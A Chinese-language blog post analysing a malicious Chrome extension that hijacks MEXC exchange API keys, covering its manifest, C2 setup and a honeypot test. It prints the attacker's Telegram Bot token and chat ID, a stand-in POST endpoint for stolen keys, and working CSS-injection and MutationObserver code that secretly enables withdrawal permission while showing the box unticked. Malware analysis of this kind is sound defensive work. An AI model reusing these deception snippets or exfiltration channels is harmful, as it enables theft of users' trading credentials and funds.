样本分析-窃取钱包登录凭证并启用自动交易的Chrome扩展

Posted by Closure on January 20, 2026

Malicious Chrome Extension Steals Wallet Login Credentials and Enables Automated Trading 这篇新闻提到的,我在历史存档里面找了样本。

一款名为 MEXC API Automator 的恶意 Chrome 扩展程序滥用浏览器插件的信任机制,窃取 MEXC 用户的加密货币交易权限。它伪装成一款可以帮助自动化交易和 API 密钥创建的工具,却悄悄控制新创建的 API 密钥,并将普通的浏览器会话变成一个完整的账户接管通道。

省流版:很粗糙的半成品,甚至这位俄罗斯人忘记删代码模板了

没有堆栈溢出和0day,只要能达成资产转移的目标,越简单越廉价的手段往往越有效(

因为用户相信他们的眼睛,胜过相信代码逻辑(反正普通用户也不会专门遍历插件代码),这个样攻击的是UI,代码仅仅使用了最基础的CSS和DOM操作就达到了高杀伤效果。

用户在屏幕上看到的是Trade Only会盘算就算被盗也转不走钱,所以被诱导进行2FA,这很低技术高杀伤了。

从迫真经济学来看这个插件,ROI太高了,极低的边际成本和极高的单次收益,成本端几乎为零没有什么研发成本;技术栈也是标准JavaScript,不用购买Exploit Kit。

C2成本也为0,白嫖娼Telegram Bot,维护也不需要租VPS和配置域名。分发成本来看Chrome开发者账号注册费是5刀,暗网买成品号也就几十刀。流量是蹭了抹茶和自动化交易的的热度,靠Chrome商店的自然搜索流量也不需要花钱投广告。

收益端没有封顶,毕竟会去下载API 自动化工具的人钱包里也不会只有几百块钱,目标画像很明显是量化交易员、大户、搬砖的。变现效率也高,加密货币和盗信用卡不同,即时到账的同时还是不可逆和全球流通的。

静态分析

Permissions有activeTab和scripting,这个scripting权限是允许扩展向页面注入任意JS代码,配合host_permissions就获得了对目标网站的DOM操作和JS执行权限。

没有常驻后台的MV3标准Service Worke,只在访问特定页面时才会被激活。

Content Script

matches: ["*://*.mexc.com/user/openapi*"]

js: ["script.js"]

run_at: "document_end"

只监控抹茶交易所的openapi,所以到此可以确认是一个API Key劫持了。

script.js

C2

没有混淆直接硬编码,用的是Telegram Bot API……

Bot Token: 7534112291:AAF46jJWWo95XsRWkzcPevHW7XNo6cqKG9I

Chat ID: 6526634583

触发在用户完成2FA验证,网页弹出Success模态框,且脚本成功从DOM中抓取到API Key和 Secret Key之后立即调用的。

然后接下来就是恶意扩展的标配递归重试逻辑和销毁凭证。

UI 欺骗

这是扩展里面我觉得最值得refer的部分,利用CSS注入和DOM监听实现了一个薛定谔的复选框,功能上是勾选了的,但是用户视觉上是未勾选的。

提现权限

遍历页面所有复选框,对SPOT_WITHDRAW_W(这功能是现货提现权限)做了特殊处理:

if (checkbox.getAttribute('value') === 'SPOT_WITHDRAW_W') { ... }

逻辑状态&视觉状态

先通过JS点击了复选框,让在逻辑上变为checked = true:

checkbox.click(); 

checkbox.dispatchEvent(new Event('change', ...));

正常情况下复选框会变成蓝色并显示对勾。

CSS注入

然后脚本注入了一段带有!important的CSS样式,强制覆盖Ant Design的默认样式

const style = document.createElement('style');

style.textContent = `

  .ant-checkbox-wrapper input[value="SPOT_WITHDRAW_W"] ~ .ant-checkbox .ant-checkbox-inner::after {

    display: none !important; 

  }

  .ant-checkbox-wrapper input[value="SPOT_WITHDRAW_W"] ~ .ant-checkbox {

    background: #fff !important; 

    border-color: #d9d9d9 !important;

  }

`;

document.head.appendChild(style);

结果就是虽然复选框被勾选了但在用户眼里依然是一个白色的空框。

并且攻击者知道Ant Design框架在交互时会动态添加/删除ant-checkbox-checked类名,为了防止露馅:

const observer = new MutationObserver((mutations) => {

  mutations.forEach((mutation) => {

    if (checkboxWrapper.classList.contains('ant-checkbox-checked')) {

      checkboxWrapper.classList.remove('ant-checkbox-checked'); // ...立即将其移除

      console.log('Prevented ant-checkbox-checked restoration...');

    }

  });

});

observer.observe(checkboxWrapper, { attributes: true });

即使用户或者网页逻辑试图重新渲染这个组件,MutationObserver也会在毫秒级的时间内再次移除选中样式,确保未勾选的假象。

Trigger

这个脚本绑定在扩展的弹出界面上面,看代码推测是将被动变为主动。

generateButton.addEventListener('click', ...)

攻击者可能不想被动等待用户自己去访问MEXC API页面,所以在扩展界面放了一个按钮诱使用户主动点击。

好草率,这里注入的文件名是content.js,但是在manifest.json中配置的是script.js,感觉是存在版本不一致,可能在打包时将script.js改成了content.js or popup.js是残留代码。

background.js更是尸体代码,感觉是哪里抄下来的模板。

URL:https://your-server.com/api/save-key

Token:Bearer your-secure-token

被抛弃的C2逻辑是接收 saveApiKey 消息 > 发送HTTP POST请求 > 返回结果。

在上面是使用fetch请求Telegram Bot API,不过确实是用Telegram更简单隐蔽。

动态

搭个蜜罐页测试,script.js和manifest.json中限制了只能在抹茶官网运行,所以先解除这个限制。

把matches的** “://.mexc.com/user/openapi*” 改为 “"**,然后修改script.js的底部代码部分

if (window.location.href.includes('/user/openapi')) { ... }

直接注释掉

因为这个恶意扩展是依赖特定的HTML类名和ID工作,所以需创建一个本地HTML文件来模拟 抹茶的API创建页面结构

开始调试,先设置断点

返回,强制显示2FA step1_show2FA(); 然后触发断点step2_showKeys();

2FA modal appeared来自恶意脚本,监听器MutationObserver已经成功检测到了我们伪造的 2FA窗口,并进入下一阶段等待 Key 生成。红框区域那里显示的MX_TRAP_API_KEY_88888意味一旦这些文字出现在DOM中,脚本会立即抓取它们。

**